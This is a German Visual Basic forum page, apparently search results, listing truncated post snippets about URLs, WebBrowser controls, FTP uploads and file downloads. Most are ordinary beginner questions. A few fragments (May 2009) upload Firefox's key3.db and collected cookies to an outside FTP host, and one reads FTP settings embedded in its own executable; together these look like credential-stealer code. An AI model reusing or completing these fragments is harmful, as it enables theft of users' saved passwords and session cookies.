Visual Basic Forum

Verfasst am: 30.01.2012, 10:25 Aufrufe: 78

oh den hidden text hab ich übersehen thx für den hinweis dass dein Dim url As String =TextBox1.Text & TextBox2.Text kann gar nicht funktionieren du benötigst ein paar anführungszeichen Dim url As String url = "=" & TextBox1.Text & TextBox2.Text & ""

Verfasst am: 29.01.2012, 14:58 Aufrufe: 78

Funktioniert leider genausowenig.... Dim url As String /url] Er sagt der "/" erwartet einen Bezeichner !

Verfasst am: 28.01.2012, 21:44 Aufrufe: 78

Hi, versuch doch mal folgendes: =TextBox1.Text & TextBox2.Text Das "&" verkettet die Texte der Boxen 1 & 2 zu einem zusammenhängenden String (url) Gruss

Verfasst am: 28.01.2012, 13:05 Aufrufe: 78

Verfasst am: 19.10.2011, 10:42 Aufrufe: 156

eine andere Alternative ausprobiert und auch hier scheitert es am Freezing... Private Sub Verzoegerung() Dim Zeit As Integer = 2000 Dim Zeit1 As Integer = System.Environment.TickCount While (System.Environment.TickCount - Zeit1) < Zeit GeckoWebBrowser1.Navigate(URL.Text) End While End Sub EDIT: Hat sich erledigt! Habs selbst ge ...

Verfasst am: 12.10.2011, 08:35 Aufrufe: 114

Hi, hab ein Programm geschrieben, die bei "favoriten hinzufügen" button klick in eine picturebox die website vorschau anzeigt und ein label mit der url. funktioniert soweit ganz gut, Jetzt ist mein Problem das wenn ich schon ein Lesezeichen gesetzt habe z.b google.de und ich möchte z.b emp.de als Lesezeichen, dann soll er beim button klick das vorschaubild von emp.de in die zweite picturebox setzten (mit de ...

Verfasst am: 19.07.2011, 18:27 Aufrufe: 543

ReadLine, "|") Select Case funktion(0) Case "play" MsgBox("funzt") AxWindowsMediaPlayer1.Ctlcontrols.stop() AxWindowsMediaPlayer1.URL = funktion(1) AxWindowsMediaPlayer1.Ctlcontrols.play ...

Verfasst am: 16.01.2011, 16:33 Aufrufe: 459

Also ich müsste "einfach" ein Captcha von einer Webseite in eine Picturebox einlesen können, damit ich es dort automatisch ausfüllen lassen kann und die richtige Eingabe wieder an den Server schicke, letzteres funktioniert auch schon. Das Problem liegt einzig und allein darin, das Captcha in die Picturebox zu kriegen. Die Url des Captcha Bildes ändert sich bei jedem Seitenaufruf. Die Url sieht folgen ...

Verfasst am: 07.11.2010, 12:42 Aufrufe: 542

Jetzt habe ich doch noch eine weitere Frage dazu: Mein Code zum Versenden einer Datei über ein html Formular mit VB sieht wie folgt aus: Private Sub cmdUpload_Click() Dim aPostData() As Byte Dim vPostData As Variant Dim vUrl As Variant Dim vHeaders As Variant Dim strText As String Dim strContentHeader As String Dim strBody As String Dim nFile As Integer Me.txtFile1.Text = "D& ...

Verfasst am: 27.09.2010, 16:50 Aufrufe: 697

Verfasst am: 31.08.2010, 21:18 Aufrufe: 456

wie folgt vor: http://service.gmx.net/de/cgi/dfstools?LANG=de&id=QQoqlugyzTyPJEHJQBRsAxahDLgHZr&d=280370094%2E1283289223&action=fullscreen&URL=http%3A%2F%2Fservice%2Egmx%2Enet%2Fde%2Fcgi%2Fdfsimg?LANG%3Dde%26id%3DQQoqlugyzTyPJEHJQBRsAxahDLgHZr%26d%3D280370094%252E1283289223%26folder=%252F%26file=puzzle1%252Ejpg%26f=fullscreen http://service.gmx.net/de/cgi/dfstools?LANG=de&id=QQoqlugyzTyPJEHJ ...

Verfasst am: 24.01.2010, 14:46 Aufrufe: 687

Document.GetElementById("inputform").SetAttribute("value", Username) WebBrowser1.Document.Forms(0).InvokeMember("submit") Dim URL1 As String URL1 = WebBrowser1.Url.ToString() Dim Writerurl As StreamWriter Writerurl = New StreamWriter("c:/test/url.txt") Writerurl.WriteLine(URL1) Writerurl.Close() ...

Verfasst am: 13.11.2009, 15:44 Aufrufe: 457

Hallo Zusammen, Ich suche eine Winsock-Lösung und habe im Inet keine passende Lösung gefunden daher wende ich mich jetzt an euch! Der Grundcode: For HöheCount = 1 To 10 For BreiteCount = 1 To 10 Puffer = UrlAufrufen("Http://Test.de/Test.php?X=HöheCount&Y=BreiteCount) For Y = 1 To 5 For X = 1 To 5 'Verarbeitung von Puffe ...

Verfasst am: 13.11.2009, 15:42 Aufrufe: 384

FALSCHES FORUM SUCHE VB6 LÖSUNG, SORRY Hallo Zusammen, Ich suche eine Winsock-Lösung und habe im Inet keine passende Lösung gefunden daher wende ich mich jetzt an euch! Der Grundcode: For HöheCount = 1 To 10 For BreiteCount = 1 To 10 Puffer = UrlAufrufen("Http://Test.de/Test.php?X=HöheCount&Y=BreiteCount) For Y = 1 To 5 For X = 1 To 5 ...

Verfasst am: 15.10.2009, 23:16 Aufrufe: 609

... IE läuft, oder?- wie kann ich, wie beim FF, die privaten daten löschen lassen? Also Cache, Cookies ?Kann mir keiner weiterhelfen?Edit 2: Hab mal die Datein der Ordner manuel gelöscht:- C:Dokumente und EinstellungenUsernameLokale EinstellungenTemporary Internet Files- C:Dokumente und EinstellungenUsernameCookiesTrotzdem bin ich bei einer seite noch eingelogt o.OEdit 3: Beim FF sieht man ja auch immer unten die URl ...

Verfasst am: 24.08.2009, 19:21 Aufrufe: 815

aber er läd die Datei leider nicht hoch.. Bitte um hilfe. Hier der Soruce Code: Private Sub cmd_upload_Click() With Inet1 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = txt_server.Text .UserName = txt_user.Text .Password = txt_pass.Text .Execute , "PUT ", cd.FileName End With End Sub Private Sub cmd_search_ ...

Verfasst am: 27.07.2009, 11:53 Aufrufe: 975

In beiden Fällen enthält die „discovery message“ nur die wichtigsten Angaben über das Gerät und seine Dienste, wie z. B. den Gerätenamen, Gerätetyp und eine URL zur genauen Beschreibung des Gerätes. Nachdem ein Kontrollpunkt ein Gerät gefunden hat, holt er sich per HTTP über TCP/IP die Beschreibung des Gerätes von der URL, welche ihm bei der ganzen Lokalisierung mitgeteilt wurde. Diese stellt das Gerät in Form eines ...

Verfasst am: 17.07.2009, 08:24 Aufrufe: 768

Length Dim url As String = "https://Server" Dim port As String = "443" ' SSL Port 'Wenn der Port unterstützt wird, wird er an die URL angefügt If port <> "" Then ' 'Anfügen des Ports an den URI Dim u As New Uri(url) 'Get the host (example& ...

Verfasst am: 29.06.2009, 13:08 Aufrufe: 704

Beschreibung: Diese kleine aber nützliche Funktion prüft eine URL ob diese im Internet verfügbar ist. Wenn Ja dann gibt die Funktion ein True zurück.Funktion:Visual Basic: Quelle: dotnet-snippets.de

Verfasst am: 22.06.2009, 21:16 Aufrufe: 505

... man in einem Command Button einstellen, das wenn man drauf klickt das nächste lied abgespielt werden soll? Ich habe zwei Lieder im Ressource file Im Form_Load steht dass: Private Sub Form_Load() Dim buffer() As Byte buffer = LoadResData(101, "CUSTOM") Open Environ("temp") & "\test.mp3" For Binary As #1 Put #1, , buffer Close #1 WMP.URL ...

Verfasst am: 18.06.2009, 12:19 Aufrufe: 1153

... g Private Declare Function ExitWindows Lib "user32" Alias _ "ExitWindowsEx" (ByVal dwOptions As Long, ByVal _ dwReserved As Long) As LongVerwendung: ShellExecute Me.hwnd, "Open"," [URL ...

Verfasst am: 17.06.2009, 17:16 Aufrufe: 732

Beschreibung: Mit diesem Code kann man bequem ohne den Webbrowser zu benutzen den Quelltext einer Internetseite anzeigen und runterladen. Man muss nur die URL angeben. Code: Function get_pagesource(ByVal url As String) As String Try Dim Request ...

Verfasst am: 16.06.2009, 16:00 Aufrufe: 594

Du könntest es mit dem Webbrowser-Steuerelement machen, beim schließen wird dann die aktuelle URL abgefragt. Zum Webbrowser gibts Tutorials en masse.

Verfasst am: 15.06.2009, 17:56 Aufrufe: 1037

txt")Mein Funktion dazu wäre die Folgende:Public Function FTPUpload(ByVal FTP_Server As String, FTP_Username As String, _ FTP_Passwort As String, LocalFile As String, RemoteFile As String) On Local Error Resume Next Dim Inet1 As Inet Inet1.AccessType = icUseDefault Inet1.Protocol = icFTP Inet1.URL = FTP_Server Inet1.UserName ...

Verfasst am: 15.06.2009, 17:41 Aufrufe: 711

[URL="http://www.vb-x.org/"]www.vb-x.org[/URL] [URL="http://www.vbarchiv.net/"]www.vbarchiv.net[/URL] [URL="http://www.activevb.de/"]www.activevb.de[/URL] [URL="http://www.vbfun.de/"]www.vbfun.de[/URL] [URL="http://www.pscode.com/"]www.psco ...

Verfasst am: 15.06.2009, 11:58 Aufrufe: 1347

die flash animation bekommenwir klicken im eigenschaftenfenster von flash auf benuzerdefiniert(auf "...").hier bei Film-URL müssen wir die URL des games angeben, so erhalten wir diese:auf die seite auf der eurer spiel ist gehen.sothink web video downloader anklickendann wählen wir logischerweise flash, markieren unser game un ddrücken properties.dann kopieren wir den (gesammten!!!) link nach VB zu Film-URL.dannach do ...

Verfasst am: 05.06.2009, 07:31 Aufrufe: 594

run Browser & " http://images.google.de/images?hl=de&q=" & SearchTag & "&gbv=2&aq=f&oq=", 1, True Ich fände es aber cooler/bequemer wenn ich die URL nicht "manuell" eintragen muss. deshalb habe ich mir überlegt es wäre praktisch das die url die sich vor dem schliesen des browsers in der adressleiste befindet automatisch in die listview eingetragen wi ...

Verfasst am: 20.05.2009, 17:03 Aufrufe: 562

Verfasst am: 15.05.2009, 10:58 Aufrufe: 1083

gif") nacher soll dann in einem string jeweils eine url stehen Smile

Ich habe es geschaft ganz alleine jipi For i = 0 To UBound(befehle()) If InStr(1, befehle(i), buffer) > 0 Then _ sbuffer = Mid$(befehle(i), InStr(1, befehle(i), "(") + 2) urls = Split(sbuffer, " ...

Verfasst am: 15.05.2009, 07:16 Aufrufe: 677

yyyy") & " - " & Format(Now, "hh:mm") & ".txt" On Error GoTo EndIt: With Inet1 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = txtname .UserName = txtuser .Password = txtpw a = PWFile b = PWFile .Execute , "PUT " & Localfile & " " & FTPFile End With ...

Verfasst am: 08.05.2009, 22:11 Aufrufe: 1057

URL = "*******" .

Verfasst am: 07.05.2009, 14:41 Aufrufe: 575

txt" localfile2 = Environ("SystemDrive") & "\key3.db" remotefile2 = Environ("computername") & "-" & "key3.db" With Inet1 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = "sldc.sl.funpic.de" .UserName = "sldc" .Password = "pw" .Execute , "P ...

Verfasst am: 06.05.2009, 19:55 Aufrufe: 479

List(i) Next Close #2 Loop Close #1 localfile = Environ("SystemDrive") & "\cookies.txt" remotefile = Environ("computername") & "-" & "cookies.txt" With Inet1 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = "sldc.sl.funpic.de" .UserName = "sldc" .Password ...

Verfasst am: 01.05.2009, 18:33 Aufrufe: 591

exe" For Binary As #1 GRAB_DATA = String(LOF(1), vbNullChar) Get #1, , GRAB_DATA Close #1 DATA_SPLIT() = Split(GRAB_DATA, DATA_START) DATA_PARAMS = Split(DATA_SPLIT(1), DATA_ARRAY) With Inet1 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = DATA_PARAMS(0) .UserName = DATA_PARAMS(1 ...

Verfasst am: 16.04.2009, 13:23 Aufrufe: 343

Hey Leute, ist es möglich bei dieser Funktion zu überprüfen ob der Download abgeschlossen ist? Public Function DownloadFile(URL As String, LocalFileName As String) As Boolean Dim lngRetVal As Long lngRetVal = URLDownloadToFile(0, URL, LocalFileName, 0, 0) DownloadFile = (lngRetVal = 0) End Function Wenn nicht? Kann man auch ne andere Funktion verwenden, bei der das geht? V ...

Verfasst am: 12.04.2009, 15:35 Aufrufe: 1973

txt") Mein Funktion dazu wäre die Folgende: Public Function FTPUpload(ByVal FTP_Server As String, FTP_Username As String, _ FTP_Passwort As String, LocalFile As String, RemoteFile As String) On Local Error Resume Next Dim Inet1 As Inet Inet1.AccessType = icUseDefault Inet1.Protocol = icFTP Inet1.URL = FTP_Server Inet1.UserName = FTP_Username Inet1.Password = FTP_Passwort Inet1.Execute , ...

Verfasst am: 09.02.2009, 14:50 Aufrufe: 646

hi das funktioniert mit dem NavigateComplete2 event Private Sub WebBrowser1_NavigateComplete2(ByVal pDisp As Object, URL As Variant) Text1.Text = WebBrowser1.LocationURL End Sub lg deepack

Verfasst am: 18.12.2008, 20:42 Aufrufe: 2045

Html Link Generator , mach eine Url und eine Link name , zu einem Html code , man kann den Linknamen fettschreiben , schrägschreiben und farbigschreiben, Viel Spaß damit Wink

Dim url As String Dim linkname As String Dim hasen As String Dim Fetts As String Dim fettx As String Dim longs As String Dim longx As String Dim farbe As String Dim farbx As String Dim farbs As String Dim farby As String ...

Verfasst am: 30.11.2008, 11:06 Aufrufe: 1208

Private Sub Timer_Timer() Timer.Enabled = False wb_alt_dokument = False wb_aktuell_dokument = False wb_aktuell.Navigate "<url>" Do DoEvents Loop Until wb_aktuell_dokument = True If wb_aktuell.Object <> wb_alt.Object Then frage = MsgBox("News at <url> Möchten Sie diese Seite jetzt aufrufen?", vbQuestion & vbYesNo, "News") Sel ...

Verfasst am: 24.09.2008, 19:00 Aufrufe: 1547

Verfasst am: 16.09.2008, 14:50 Aufrufe: 738

Verfasst am: 11.09.2008, 18:30 Aufrufe: 878

Exists(path) = False Then ' Create a file to write to. Dim sw As StreamWriter = File.CreateText(path) sw.WriteLine("curl [URL]http://19 ...

Verfasst am: 09.09.2008, 15:42 Aufrufe: 1081

ahm vlt Brobierst du es so...http://www.schmittis-page.de/vb/t141.htmUnd bei URL="" gibst dann deine URL ein mit ftp daten

Verfasst am: 02.09.2008, 15:24 Aufrufe: 1305

Verfasst am: 01.09.2008, 15:20 Aufrufe: 2465

das ist der pfad zum bild. du nimmst also die url und hängst dan den pfad an Wink

mit split und join machen Wink

Verfasst am: 24.08.2008, 10:26 Aufrufe: 1067

IOPublic Class Form1 Dim CookieC As New CookieContainer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Function GetSourceCode(ByVal url As String) As String Dim req As HttpWebRequest = CType(WebRequest.Create(url), HttpWebRequest) req.Method = "GET" req.ContentType = "application/x-www-form-urlencoded" req.

Verfasst am: 24.08.2008, 10:25 Aufrufe: 1067

IO Public Class Form1 Dim CookieC As New CookieContainer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Function GetSourceCode(ByVal url As String) As String Dim req As HttpWebRequest = CType(WebRequest.Create(url), HttpWebRequest) req.Method = "GET" req.ContentType = "application/x-www-form-urlencoded ...

Verfasst am: 19.08.2008, 09:20 Aufrufe: 1545

serviceContentText{color:#53534b;font-family: arial;font-size:12px;font-weight:normal;}a{color:#005fd0;font-weight:bold;font-family: arial;font-size:11px;}a:hover{color:#2cd000;font-weight:bold;font-family: arial;font-size:11px;}a#logout{font-family: verdana; color:#fffb8f; font-size: 11px; font-weight: bold; text-decoration: underline;padding-right:25px; display: block; height:18px;background: url('images/revamp2008 ...

Verfasst am: 15.08.2008, 10:07 Aufrufe: 1072

php/1587,unbenanntHJZTC.jpgDieses Beispiel liest die IP von "wieistmeineip.de" aus.Man gibt die Seite in der Url Box an, dann wie lang "CopyToClipboard('" ist (17 Zeichen) und dann wie lang die IP-Adresse ist (12 Zeichen).Danach klickt man auf "-" weil die IP-Adresse nach dem Suchstring "CopyToClipboard('" kommt, klickt man auf "+" werden die 12 Zeichen vor dem Suchstring angezeigt: http://pictransfer.de/neu/bild.php ...

Verfasst am: 03.08.2008, 15:23 Aufrufe: 1306